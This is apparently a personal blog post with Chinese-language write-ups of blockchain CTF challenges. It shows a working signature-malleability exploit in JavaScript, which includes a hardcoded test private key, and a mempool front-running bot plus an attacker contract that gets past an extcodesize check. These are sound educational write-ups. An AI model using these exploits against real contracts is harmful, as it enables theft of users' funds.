你说得对,但我依旧认为我是最菜的区块链科班生

纯兴趣,没水平

先开个坑,闲得时候慢慢补,毕竟我是彩笔

智能合约漏洞知识点记录

一些比赛记录

SUCTF Onchain Magician

源码如下

pragma solidity 0.8.28;

contract MagicBox {
    struct Signature {
        uint8 v;
        bytes32 r;
        bytes32 s;
    }

    address magician;
    bytes32 alreadyUsedSignatureHash;
    bool isOpened;

    constructor() {}

    function isSolved() public view returns (bool) {
        return isOpened;
    }

    function getMessageHash(address _magician) public view returns (bytes32) {
        return keccak256(abi.encodePacked("I want to open the magic box", _magician, address(this), block.chainid));
    }

    function _getSignerAndSignatureHash(Signature memory _signature) internal view returns (address, bytes32) {
        address signer = ecrecover(getMessageHash(msg.sender), _signature.v, _signature.r, _signature.s);
        bytes32 signatureHash = keccak256(abi.encodePacked(_signature.v, _signature.r, _signature.s));
        return (signer, signatureHash);
    }

    function signIn(Signature memory signature) external {
        require(magician == address(0), "Magician already signed in");
        (address signer, bytes32 signatureHash) = _getSignerAndSignatureHash(signature);
        require(signer == msg.sender, "Invalid signature");
        magician = signer;
        alreadyUsedSignatureHash = signatureHash;
    }

    function openBox(Signature memory signature) external {
        require(magician == msg.sender, "Only magician can open the box");
        (address signer, bytes32 signatureHash) = _getSignerAndSignatureHash(signature);
        require(signer == msg.sender, "Invalid signature");
        require(signatureHash != alreadyUsedSignatureHash, "Signature already used");
        isOpened = true;
    }


铁打的信息搜集,流水的知识点

延展性攻击 据此可获得签名对应的两个rsv

参考链接 Solidity中的ecrecover的应用 | 登链社区 | 区块链技术社区

EXP

const ethers = require('ethers');
const elliptic = require('elliptic');
const ec = new elliptic.ec('secp256k1');  // 使用 secp256k1 曲线
const n = ethers.BigNumber.from("0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141");
async function main() {
  // 连接到 RPC
  const provider = new ethers.providers.JsonRpcProvider('http://1.95.156.61:10002');

  // 这是你通过 getMessageHash 获取到的哈希值(假设你已经从 Remix 得到)
  const messageHash = "0x4cf6d664658bf60d330827cd0896acd9f0c088e59c1b06f129c8fcab33b3688c";  // Remix 中调用 getMessageHash 后返回的哈希值

  // 使用你的私钥创建钱包实例
  const wallet = new ethers.Wallet('7de3eb28fb13048d3a984d8dce677f7a721c88e887bd47f201210a08387600b6', provider);

  // 使用 ecrecover 时不加前缀,直接签名原始的消息哈希
  const signature = await wallet._signingKey().signDigest(messageHash);

  // 分解签名,得到 v、r 和 s
  const sigParts = ethers.utils.splitSignature(signature);

  // 打印签名的 r, s 和 v 部分
  console.log("Original Signature:", sigParts);

  // 获取 `s` 的补数 s' = n - s
  //const curveParams = ethers.utils.getCurveName(ethers.utils.SigningKey); // 默认使用 secp256k1
  // 获取 `s` 的补数 s' = n - s
  const s = ethers.BigNumber.from(sigParts.s);  // 将 s 转换为 BigNumber 类型
  const sPrime = n.sub(s);  // 使用 BigNumber 进行减法

  // 构造伪造签名 sig2
  const sig2 = {
    r: sigParts.r,
    s: sPrime._hex.toString(),//sPrime.toString(),
    v: sigParts.v+1,
  };

  // 输出伪造签名
  console.log("Forged Signature:", sig2);

  // 验证签名
  // 使用 elliptic 库验证签名
  const msgHashBuffer = Buffer.from(messageHash.slice(2), 'hex');  // 转换为 Buffer 类型

  // 使用 EC 对象的 verify 方法验证签名
  const valid = ec.verify(msgHashBuffer, { r: sig2.r, s: sig2.s }, wallet.publicKey);
  console.log("Signature verification result:", valid);
}

main().catch((error) => {
  console.error(error);
});

NCTF的两道blockchain

源码如下

pragma solidity ^0.8.28;

contract Challenge {
    bytes32 public target;
    bool public isClaimed;
    address public winner;

    modifier isNotContract(address _addr) {
        uint256 size;
        assembly {
            size := extcodesize(_addr)
        }
        require(size == 0, "caller is a contract");
        _;
    }

    constructor(bytes32 _target) payable {
        target = _target;
    }

    function claim(bytes memory answer) public isNotContract(msg.sender) {
        require(!isClaimed, "already claimed");
        require(keccak256(answer) == target, "bad answer");
        isClaimed = true;
        winner = msg.sender;
        (bool success, ) = payable(msg.sender).call{
            value: address(this).balance
        }("");
        require(success, "failed to send");
    }
}

让"猜"哈希,1分钟的检测窗口

依旧是铁打的信息搜集,流水的EXP

智能合约安全审计入门篇 —— 抢跑 | 登链社区 | 区块链技术社区

通过设置更高的Gas Price影响交易被打包的顺序即可完成抢跑攻击

EXP

solve.py

from web3 import Web3
import time
import json

# 连接到以太坊节点
web3 = Web3(Web3.HTTPProvider("http://39.106.16.204:18231/rpc"))

# Challenge 合约的 ABI 和地址
challenge_contract_address = ""  # 目标合约地址
challenge_contract_abi = json.loads(open('./build/nctf1_sol_Challenge.abi').read())

# 攻击合约 ABI 和字节码
attack_contract_bytecode = open('./build/solve_sol_Attacker.bin', 'r').read().strip()  # 从 .bin 文件中读取字节码
attack_contract_abi = json.loads(open('./build/solve_sol_Attacker.abi', 'r').read())  # 从 .abi 文件中读取 ABI

# 获取当前用户地址(或者攻击者的地址)
deployer_private_key = ""  # 攻击者私钥
deployer_address = web3.eth.account.privateKeyToAccount(deployer_private_key).address

# 创建 Challenge 合约实例
challenge_contract = web3.eth.contract(address=challenge_contract_address, abi=challenge_contract_abi)

# 创建攻击合约实例
attack_contract = web3.eth.contract(abi=attack_contract_abi, bytecode=attack_contract_bytecode)

# 构建并发送攻击交易
def send_attack_transaction(correct_answer_bytes):
    nonce = web3.eth.get_transaction_count(deployer_address)

    # 构造交易
    txn = attack_contract.constructor(challenge_contract_address, correct_answer_bytes,deployer_address).build_transaction({
        'from': deployer_address,
        'nonce': nonce,
        'gas': 2000000,
        'gasPrice': web3.toWei('100', 'gwei'),  # 设置更高的GasPrice来抢跑
    })

    # 签名交易
    signed_txn = web3.eth.account.sign_transaction(txn, private_key=deployer_private_key)

    # 发送交易
    tx_hash = web3.eth.send_raw_transaction(signed_txn.rawTransaction)

    # 等待交易确认
    tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
    print("Attack transaction mined, receipt:", tx_receipt)

# 监听交易池中的交易并捕捉到提交给 Challenge 合约的交易
def monitor_pending_transactions():
    while True:
        # 获取待处理交易
        pending_transactions = web3.eth.get_block('pending')['transactions']

        # 遍历交易并检查是否是提交给 Challenge 合约的交易
        for tx_hash in pending_transactions:
            tx = web3.eth.get_transaction(tx_hash)
            if tx.to == challenge_contract_address:
                # 交易 data 部分包含了调用目标合约函数时传递的参数
                data = tx.input
                print(f"Detected transaction to Challenge contract, data: {data}")

                # 获取从数据的偏移量 0x20 开始的数据部分,这里即从偏移位置后提取正确答案(假设是 32 字节)
                data_bytes = bytes.fromhex(data[2:])  # 去掉前面的 '0x',然后转换为字节

                # 获取从数据的偏移量 0x20 开始的数据部分
                correct_answer_bytes = data_bytes[68:]  # 直接获取字节流

                # 打印结果用于调试
                print(f"Extracted answer (in bytes): {correct_answer_bytes.hex()}")

                # 发送攻击交易
                send_attack_transaction(correct_answer_bytes)
                break
        time.sleep(1)  # 每秒检查一次

# 开始监听交易池并准备攻击
monitor_pending_transactions()

solve.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

interface IChallenge {
    function claim(bytes memory answer) external;
}

contract Attacker {
    IChallenge public challengeContract;

    // 设置目标合约地址
    constructor(address _challengeContract, bytes memory answer,address payable targetAddress) payable {
        challengeContract = IChallenge(_challengeContract);

        // 在构造函数中直接调用目标合约的 claim 函数
        challengeContract.claim(answer);

        // 将合约余额转账给指定地址
        require(address(this).balance > 0, "No funds to transfer");
        targetAddress.transfer(address(this).balance);  // 转账给指定地址
    }
}

偷了个三血😋)

靶场链接

The Ethernaut

网上wp太多了,我就不造垃圾了

ONLYPWNER

垃圾既没本事发又不被允许发🤡

重生之会pwnのsekiro